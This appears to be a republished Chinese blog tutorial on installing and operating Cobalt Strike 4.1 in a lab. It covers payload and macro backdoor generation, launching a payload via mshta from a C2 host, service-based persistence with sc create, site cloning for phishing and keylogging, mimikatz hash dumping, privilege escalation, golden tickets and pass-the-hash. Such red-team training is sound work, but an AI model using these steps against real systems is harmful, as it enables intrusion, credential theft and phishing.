CobaltStrike 4.1中文版的安装使用

2023-11-22 04:10

本文主要是介绍CobaltStrike 4.1中文版的安装使用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1. CobaltStrike简介

2.CobaltStrike的安装

2.1 cs文件分析

2.2 cobaltstrike启动

3. cobaltstrike使用

3.1 cs模块

3.2 创建监听器Listener

3.3 CobaltStrike主机上线

3.3.1 HTML Appliaction

3.3.2 MS Office Macro

3.3.3 Payload Generator

3.3.4 Windows Executable

3.3.5 Windows Executable(S)

3.3.6 Windows Executable & Windows Executable(S)

3.4 Attacks钓鱼

3.4.1 克隆网站

3.4.2 信息收集

3.5 View视图

3.6 Beacon会话操作

3.6.1 Interact(互动) 

3.6.2 Access(执行) 

3.6.3 Pivoting(中转)

 3.6.4 Explore(目标)

4. CobaltStrike常见命令


 

1. CobaltStrike简介

CobaltStrike是一款后渗透神器,有个故事是这么说的自从用了CobaltStrike神器后,妈妈再也不用担心我搞渗透了。专业人士亲切的称它为CS,于其说它是一个工具不如说它是一个集成的平台,可以同时上线多个用户。使用Cobalt Strike来协调红队的分散行动,使用一个或更多的远程主机分阶段的搭建CS的基础环境,启用服务器并让多个团队成员于其建立连接。

团队成员上线同一个服务端,会在团队成员内:

  • 使用相同的会话

  • 分享靶机数据

  • 通过一个共享的事件日志交流

作为红队使用CS客户端也可能会连接多个CS服务端,当连接多个服务端时会在Cobalt Strike窗口底部出现切换条允许在活跃的CS服务端之间切换。每一个服务端都会有一个按钮在窗口底部出现。

CobaltStrike为什么称之为神器,因为它集成了端口转发、服务扫描、权限提升,多功能后门木马生成(包含Windows exe、Windows dll、C、Java、office宏病毒),钓鱼攻击等等强大的功能。

2.CobaltStrike的安装

本文在Linux系统上安装,安装很简单,配置java环境,将CobaltStrike安装包上传至安装目录下,解压即可。

本人在Kali上安装,Kali自带Java环境,但自带的环境会存在很多的问题,保险起见建议删除更新kali自带的Java环境,具体方法请自行百度,本文不赘述。

上传好安装包后,执行解压命令,本人得到的安装包是rar格式,需要在kali安装rar解压,这样CobaltStrike就算是安装好了。

rar  -x  cobaltstrike4.1.rar 

cd cobaltstrike4.1 # 进入该目录

2.1 cs文件分析

查看cs包内文件,CobaltStrike主要文件和功能介绍如下:

  1. agscript:扩展应用的脚本

  2. c2lint:该文件主要检查profile的错误和异常

  3. teamserver:服务端启动程序

  4. cobaltstrike.jar:CobaltStrike主要核心程序

  5. cobaltstrike.auth:用于客户端和服务端认证的文件(建议自己有时间可以查看一下cs的源码)

  6. cobaltstrike.store:密钥证书存放文件

主要目录功能介绍如下:

  1. data:用于保存当前TeamServer的数据

  2. logs:日志文件(web日志、Beacon日志、截图日志、下载日志、键盘记录日志等等)

  3. third-party:第三方工具目录

  4. AggressorScripts-master:插件目录

2.2 cobaltstrike启动

启动服务端:

./teamserver  192.168.204.135  123456 # 该ip地址为服务端IP地址,而后是连接密码

后台运行,关闭终端依旧运行:nohub ./teamserver 192.168.204.135 123456 &

注意:cs默认监听端口为50050,可以打开teamserver文件,修改端口

 

启动客户端:

./cobaltstrike 

 使用客户端连接服务端:

在windows使用客户端连接:

使用文件cobaltstrike.bat

只需要双击即可

3. cobaltstrike使用

3.1 cs模块

  1. New connection:新建连接窗口
  2. Preferences:偏好,设置cobaltstrike外观
  3. Visualization:可视化,输出结果展示(将主机以不同的权限展示出来) 
  4. VPN Interfaces:设置VPN接口
  5. Listeners:创建监听器
  6. Script Interfaces:查看加载cna脚本
  7. Close:关闭

3.2 创建监听器Listener

CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。

建立监听:

Listeners---->下方弹出区域点击Add

name:监听器名字

payload:payload类型

HTTP Hosts:shell反弹主机,是服务端IP

HTTP Host(Stager):控制HTTP Beacon的HTTP Stager的主机,当此payload与需要显示的stager

HTTP Port(C2):C2监听的端口

在payload字段内有8种不同的类型可供选择:

在以前的版本中该选项如下:

  1. windows/beacon_dns/reverse_dns_txt
  2. windows/beacon_dns/reverse_http
  3. windows/beacon_tcp/bind_tcp
  4. windows/beacon_http/reverse_http
  5. windows/beacon_https/reverse_https
  6. windows/beacon_smb/bind_pipe
  7. windows/foreign/reverse_http
  8. windows/foreign/reverse_https
  9. windows/foreign/reverse_tcp

需要了解beacon为内部监听器,在目标主机执行相关payload会向cd反弹一个shell;foreign主要是提供给外部使用的一些监听器,使用cs派生一个MSF的shell回来就需要使用外部监听器;在4.1版本中external c2是一个规范,允许第三方程序充当cs的beacon有效载荷的通讯层。

3.3 CobaltStrike主机上线

要想利用payload让主机上线,就要先清除cs可生成的后门文件,如下图:

据上图Attacks功能模块,可利用Packages生成各类后门,详情如下:

  1. HTML Appliaction:生成一个恶意的HTML Appliacton木马,后缀为'.hta'。通过HTML调用其他语言的应用组件进行攻击,提供可执行文件。

  2. MS Office Macro:生成office宏病毒文件。

  3. Payload Generator:生成各种编程语言的payload(包含C、C#、COM Scriptlet、Java、Perl、Powershell、Python、Ruby、VBA)

  4. Windows Executable:生成32位或64位的exe、dll可执行文件

  5. Windows Executable(S):用于生成一个exe可执行文件,包含Beacon的完整payload,与4相比,该模块额外提供了代理功能,以便在比较严苛德环境下进行渗透测试。并且支持Powershell脚本,用于将Stageless Payload注入内存。

3.3.1 HTML Appliaction

HTML Appliaction会生成‘.hta’类型的文件。hta为HTML Appliaction的缩写,软件开发的新概念,将HTML保存成hta格式便是一个独立的软件,其有三种类型的后门,本人在实验中只有Powershell能测试成功,另两种方式会提示当前的页面脚本发生错误。实验步骤如下:

生成后门文件:

 利用文件下载将后门下载至目标主机:

 

 执行mshta上线:

命令:mshta http://192.168.204.135/download/file.ext

至于其他两个失败的测试就直接将生成的后门文件复制到靶机上执行吧,只执行其中一个即可。

3.3.2 MS Office Macro

该程序包生成的是一个Microsoft Office的宏文件并提供宏嵌入Microsoft Word或Microsoft Execl的说明。

选择监听器点击生成器

根据cobaltstrike提示点击Copy Macro

然后新建word,并打开编辑,点击试图,然后点击宏,例子是已经保存后的宏,新建只需输入宏名即可。

将清除里面的代码,复制CobaltStrike生成的代码,保存退出

在实际利用时只需将文档发送给他人,对方只需要双击打开该word,在开启宏的前提下,CS就会收到反弹回来的shell,进程名是rundll32.exe

 

office宏

百度:译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

word使用宏:开启和禁用(文件——>选项——>信任中心——>信任中心设置)

本人电脑实际上是禁用了宏,但是在实验的时候还是成功获取到了shell,纳闷。

3.3.3 Payload Generator

payload生成器,该程序包以多种格式导出Cobalt Strike的stager。

本人测试使用powershell,懒惰的本人懒得去搞靶机环境

使用windows环境执行该payload

执行ps1脚本会产生一个异常

这是在默认情况下系统会禁止执行脚本,需要手动开启powershell脚本功能:

以管理员身份启动powershell,执行以下命令 

Set-ExecutionPolicy RemoteSigned

免数字签名执行脚本

set-executionpolicy Bypass

然后再执行payload

3.3.4 Windows Executable

该程序包生成一个windows可执行Artifact,用于传送一个payload stager,该程序包提供多种输出选项。

使用该模块会生成一个exe可执行文件,可响应service control manager命令。普通的exe和服务器调用的exe存在区别, 利用Windows Service EXE生成的exe文件才能作为服务器自启动的执行文件,而Windows EXE不能作为服务器自启动程序,因此不能响应service control manager。Windows DLL会派生一个对应的进程,并将监听器迁移至其上,此功能与rundll32.exe兼容,利用命令行加载DLL。

3.3.5 Windows Executable(S)

该程序包直接导出Beacon,是开发者写好的32/64位DLL,是一个不使用stager的可执行文件,直接与监听器建立连接传输数据和执行命令。不使用stager的payload Artifact被叫做无阶段的Artifact。该程序包也有powershell选项来导出Bescon作为powershell脚本或者使用raw选项导出与位置无关的Beacon代码。

3.3.6 Windows Executable & Windows Executable(S)

这两个程序包直接用于生成可执行的exe或dll。但是Windows Executable是生成的Stager类型的马,而Windows Executable(S)生成的是Stageless类型的马,这两个类型的区别在于:

  1. Stager是分阶段传送Payload,Stager马在靶机上执行后会连接服务端下载真正的shellcode,我个人理解是依据分块传输来理解这个分阶段的。因为很多场景对于加载进内存并成功利用后执行的数据大小存在严格限制,所以就需要利用分阶段传输。如果不需要分阶段传输可在C2的扩展文件里面把host_stage选项设置为false。
  2. Stageless则是一个大马,后续不需要向服务端请求shellcode。所以这种方法生成的木马会比Stager马体积要大很多。这种大马有助于避免被溯源到,如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。

Windows Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可将Stageless Payload注入内存。

注意:生成的Windows Service EXE生成的木马,直接双击是不会返回session,需要以创建服务的方式启动,才会返回session。

使用Windows Service EXE生成木马,需要利用到sc.exe(详细说明)

#注意,等号(=)后面要有空格,autoRunBackDoor为服务名,start为启动模式为自动
sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start= auto DisplayName= autoRunBackDoor
#开启某个系统服务
sc start autoRunBackDoor 
#停止某个系统服务
sc stop autoRunBackDoor 
# 删除某个系统服务
sc delete service_name

3.4 Attacks钓鱼

点击模块Attacks中存在Web Drive-by功能,该功能通尝被翻译为网站钓鱼攻击。

功能简介: 

  1. web服务管理:对开启的web服务进行管理
  2. 克隆网站:克隆网站,目的主要是制作类似网站骗取用户敏感信息
  3. 文件下载:提供本地文件下载,使靶机从本地下载文件
  4. Scripted Web Delivery(S):基于Web的攻击测试脚本,自动生成可执行的payload,使用模块来生成powershell命令反弹shell
  5. 签名Applet攻击:启动一个Web服务以提供自签名Java Applet的运行环境
  6. 智能攻击:自动监测Java版本并利用已知的exploits绕过security
  7. 信息搜集:用来获取一些系统信息

3.4.1 克隆网站

该模块用来克隆网站,欺骗用户获取用户键盘记录。

查看键盘记录,这个应该类似于BurpSuite,百度的登陆信息看不到。

3.4.2 信息收集

该模块用来收集系统和浏览器信息

使用该链接会自动跳转到百度,CS可以获取到目标系统和浏览器的信息。

3.5 View视图

该模块主要是展示功能,

视图功能模块详细解释:

  1. Applications:显示受害者机器的应用信息

  2. Credentials:显示受害者及其的凭证信息,通过hashdump和mimikatz获取的密码会保存在这儿

  3. Downloads:查看从受害主机上下载的文件

  4. Event Log:可以看到事件日志,清楚的看到系统的事件,还可以提供团队成员聊天

  5. Keystrokes:查看键盘记录

  6. Proxy Pivots:查看代理信息

  7. Screenshots:查看屏幕截图

  8. Script Console:在这里可以加载各种脚本以增强功能

  9. Targets:查看目标

  10. Web Log:查看web日志

3.6 Beacon会话操作

选中Beacon右击,会出现一个列表栏

3.6.1 Interact(互动) 

中文版的这里是进入Beacon,就是可以利用Beacon执行命令的窗口。

3.6.2 Access(执行) 

该模块的主要功能如下图:

在该模块里存放的是常用的功能,提取Hash、dump明文密码、提权等。

1. 转储HASH

除了使用鼠标一键获取外,也可以在命令行输入hashdump

2. Run Mimikatz(获取明文密码)

使用Mimikatz获取明文密码,需要注意的是Windows10是未存储明文密码,只适用于Windows7或者Windows2008以前的版本。

在试图模块凭证信息处会保存抓取的明文密码记录。 

          可在此处修改密码

3. (Elevate)提权

当获取的权限不足以让我们继续渗透下去时就要使用提权工具对用户进行权限提升,靶机实验建议使用版本较低的Windows环境。

默认是存在三个提权payload(MS14-058、uac-dll、uac-token-duplication)可以使用,本人的CS是曾经使用的时候到如果其他的payload。如果你也想自己加载提权脚本,可以将自己获取到的提权工具包导入进去。

导入提权脚本,在下图可以看到本人以前加载的工具脚本:

 在实验环境中是对一台低权限的win2008R2系统进行权限提升操作,使用MS14-058进行提权,提权成功就会反弹回一个beacon。

 

3.6.3 Pivoting(中转)

1. 建立Socks4代理

当被控主机是一台边界机时,如果要继续渗透,打透内网的话,就需要在CS上将此主机作为跳板。

建立Socks代理只需要设置一个空置的端口即可

 

 

代理设置好后,IP为CS服务端的IP,端口是55074.

在视图模块-->代理信息可查看Socks4代理信息,可在浏览器设置代理

 点击Tunnel,可以获取一个MSF代理

 3.6.4 Explore(目标)

1. Process List(进程列表)

在上截图中下面有一排功能键,Inject:将Beacon注入进程Log Keystrokes为键盘记录Steal Token为窃取运行指定程序的用户令牌。

1.1 Inject

选择Inject按钮,选择监听器,随后CobaltStrike会反弹目标靶机的一个新的会话,这个会话就是成功注入到某个正常进程的Beacon会话,注入之后,除非那个进程被杀死,否则CS是一直能与该主机保持通信。

1.2 Log Keystrokes

选择任意一个进程点击Log Keystrokes,即可监听该主机的键盘记录,监听的是所有的键盘记录,不仅仅只是选中的进程。键盘监听记录,也可以直接输入keylogger。

正常情况下此时就可以看见键盘记录了。 

1.3 Brower Pivot(浏览器代理)

使用该功能,是将会话注入到浏览器的进程中。然后在本地浏览器中设置该代理,可以直接使用本地浏览器访问目标机器浏览器已经登陆的网站。

1.4 Golden Ticket(黄金票据)

黄金票据:黄金票据是伪造票据授权(TGT),也被称为认证票据。在域控制器已被攻陷,攻击者持久控制域控制器。黄金票据主要是利用Kerberos协议缺陷和域中krbtgt账号的信息,可生成任意TGT,该TGT可用于当前域中Kerberos认证的任何服务。攻击者只需要保存krbtgt账号中的信息生成golden ticket注入内存当中,即可拥有权限,该票据的有限期是十年。

获取黄金票据的前提是已经获得了krbtgt用户的hash(cb1ea55e9b54123dfca9b2fd76826089)

 点击当前获取的主机

点击后弹出对话框,填入已知的信息

        点击Bulid后的结果如下图,在cs内还是利用了mimikatz这个工具自动执行了相关命令:

 验证是否成功

1.5 MAke token(凭证转换)

该模块主要是使用获取到的域内其他的账号密码,利用此模块生成令牌具有指定用户身份的作用

 输入已经得到的域账号密码

 1.6 端口扫描

端口扫描有图形界面也有命令行

portscan 192.168.1.0/24 22,445,1433,3306

使用图形界面

扫描完了以后会直接在命令界面返回结果,可在视图菜单

1.6 hash传递或SSH远程登陆

在Windows系统中,在获取了机器的账号密码或者hash,都可以进行远程连接,当然前提是目标开放了445端口,然后利用CS远程连接开启一个CS的seesion。可以用以下方式远程连接:psexec、psexec64、psexec_psh、winrm和winrm64。

已经得到主机Windows7 的密码,现在想hash传递监听登陆域控主机Windows2008R2主机

获取Windows7主机的hash并且使用mimikatz获取明文(查看凭据信息内的数据):

使用端口扫描的信息会发现的主机会在目标内存在

 使用以获取到的hash和密码远程连接域控主机

成功后会返回一个会话 

如果是内网机器不能出网,需要设置中转,对于Linux使用SSH公私钥进行登陆。(先放着以后再做这个实验)

4. CobaltStrike常见命令

BeaconCommands
===============Command                   Description-------                   -----------browserpivot              注入受害者浏览器进程bypassuac                 绕过UACcancel                    取消正在进行的下载cd                        切换目录checkin                   强制让被控端回连一次clear                     清除beacon内部的任务队列connect                   Connect to a Beacon peerover TCPcovertvpn                 部署Covert VPN客户端cp                        复制文件dcsync                    从DC中提取密码哈希desktop                   远程VNCdllinject                 反射DLL注入进程dllload                   使用LoadLibrary将DLL加载到进程中download                  下载文件downloads                 列出正在进行的文件下载drives                    列出目标盘符elevate                   尝试提权execute                   在目标上执行程序(无输出)execute-assembly          在目标上内存中执行本地.NET程序exit                      退出beacongetprivs                  Enable system privileges oncurrent tokengetsystem                 尝试获取SYSTEM权限getuid                    获取用户IDhashdump                  转储密码哈希值help                      帮助inject                    在特定进程中生成会话jobkill                   杀死一个后台任务jobs                      列出后台任务kerberos_ccache_use       从ccache文件中导入票据应用于此会话kerberos_ticket_purge     清除当前会话的票据kerberos_ticket_use       从ticket文件中导入票据应用于此会话keylogger                 键盘记录kill                      结束进程link                      Connect to a Beacon peerover a named pipelogonpasswords            使用mimikatz转储凭据和哈希值ls                        列出文件make_token                创建令牌以传递凭据mimikatz                  运行mimikatzmkdir                     创建一个目录mode dns                  使用DNS A作为通信通道(仅限DNS beacon)mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)mode http                 使用HTTP作为通信通道mv                        移动文件net                       net命令note                      备注      portscan                  进行端口扫描powerpick                 通过Unmanaged PowerShell执行命令powershell                通过powershell.exe执行命令powershell-import         导入powershell脚本ppid                      Set parent PID forspawned post-ex jobsps                        显示进程列表psexec                    Use a service to spawn asession on a hostpsexec_psh                Use PowerShell to spawn asession on a hostpsinject                  在特定进程中执行PowerShell命令pth                       使用Mimikatz进行传递哈希pwd                       当前目录位置reg                       Query the registryrev2self                  恢复原始令牌rm                        删除文件或文件夹rportfwd                  端口转发run                       在目标上执行程序(返回输出)runas                     以另一个用户权限执行程序runasadmin                在高权限下执行程序runu                      Execute a program underanother PIDscreenshot                屏幕截图setenv                    设置环境变量shell                     cmd执行命令shinject                  将shellcode注入进程shspawn                   生成进程并将shellcode注入其中sleep                     设置睡眠延迟时间socks                     启动SOCKS4代理socks stop                停止SOCKS4spawn                     Spawn a sessionspawnas                   Spawn a session as anotheruserspawnto                  Set executable tospawn processes intospawnu                    Spawn a session underanother PIDssh                       使用ssh连接远程主机ssh-key                   使用密钥连接远程主机steal_token               从进程中窃取令牌timestomp                 将一个文件时间戳应用到另一个文件unlink                    Disconnect from parentBeaconupload                    上传文件wdigest                   使用mimikatz转储明文凭据winrm                     使用WinRM在主机上生成会话wmi                       使用WMI在主机上生成会话argue                     进程参数欺骗

本文参考

谢公子博客:https://xie1997.blog.csdn.net/article/details/89489609

A-Team出品:《Cobalt Strike 4.0 手册翻译》

这篇关于CobaltStrike 4.1中文版的安装使用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/407418

相关文章

如何使用celery进行异步处理和定时任务(django)

《如何使用celery进行异步处理和定时任务(django)》文章介绍了Celery的基本概念、安装方法、如何使用Celery进行异步任务处理以及如何设置定时任务,通过Celery,可以在Web应用中... 目录一、celery的作用二、安装celery三、使用celery 异步执行任务四、使用celery

使用Python绘制蛇年春节祝福艺术图

《使用Python绘制蛇年春节祝福艺术图》:本文主要介绍如何使用Python的Matplotlib库绘制一幅富有创意的“蛇年有福”艺术图,这幅图结合了数字,蛇形,花朵等装饰,需要的可以参考下... 目录1. 绘图的基本概念2. 准备工作3. 实现代码解析3.1 设置绘图画布3.2 绘制数字“2025”3.3

Jsoncpp的安装与使用方式

《Jsoncpp的安装与使用方式》JsonCpp是一个用于解析和生成JSON数据的C++库,它支持解析JSON文件或字符串到C++对象,以及将C++对象序列化回JSON格式,安装JsonCpp可以通过... 目录安装jsoncppJsoncpp的使用Value类构造函数检测保存的数据类型提取数据对json数

python使用watchdog实现文件资源监控

《python使用watchdog实现文件资源监控》watchdog支持跨平台文件资源监控,可以检测指定文件夹下文件及文件夹变动,下面我们来看看Python如何使用watchdog实现文件资源监控吧... python文件监控库watchdogs简介随着Python在各种应用领域中的广泛使用,其生态环境也

Python中构建终端应用界面利器Blessed模块的使用

《Python中构建终端应用界面利器Blessed模块的使用》Blessed库作为一个轻量级且功能强大的解决方案,开始在开发者中赢得口碑,今天,我们就一起来探索一下它是如何让终端UI开发变得轻松而高... 目录一、安装与配置:简单、快速、无障碍二、基本功能:从彩色文本到动态交互1. 显示基本内容2. 创建链

mac安装redis全过程

《mac安装redis全过程》文章内容主要介绍了如何从官网下载指定版本的Redis,以及如何在自定义目录下安装和启动Redis,还提到了如何修改Redis的密码和配置文件,以及使用RedisInsig... 目录MAC安装Redis安装启动redis 配置redis 常用命令总结mac安装redis官网下

springboot整合 xxl-job及使用步骤

《springboot整合xxl-job及使用步骤》XXL-JOB是一个分布式任务调度平台,用于解决分布式系统中的任务调度和管理问题,文章详细介绍了XXL-JOB的架构,包括调度中心、执行器和Web... 目录一、xxl-job是什么二、使用步骤1. 下载并运行管理端代码2. 访问管理页面,确认是否启动成功

使用Nginx来共享文件的详细教程

《使用Nginx来共享文件的详细教程》有时我们想共享电脑上的某些文件,一个比较方便的做法是,开一个HTTP服务,指向文件所在的目录,这次我们用nginx来实现这个需求,本文将通过代码示例一步步教你使用... 在本教程中,我们将向您展示如何使用开源 Web 服务器 Nginx 设置文件共享服务器步骤 0 —

Java中switch-case结构的使用方法举例详解

《Java中switch-case结构的使用方法举例详解》:本文主要介绍Java中switch-case结构使用的相关资料,switch-case结构是Java中处理多个分支条件的一种有效方式,它... 目录前言一、switch-case结构的基本语法二、使用示例三、注意事项四、总结前言对于Java初学者

Golang使用minio替代文件系统的实战教程

《Golang使用minio替代文件系统的实战教程》本文讨论项目开发中直接文件系统的限制或不足,接着介绍Minio对象存储的优势,同时给出Golang的实际示例代码,包括初始化客户端、读取minio对... 目录文件系统 vs Minio文件系统不足:对象存储:miniogolang连接Minio配置Min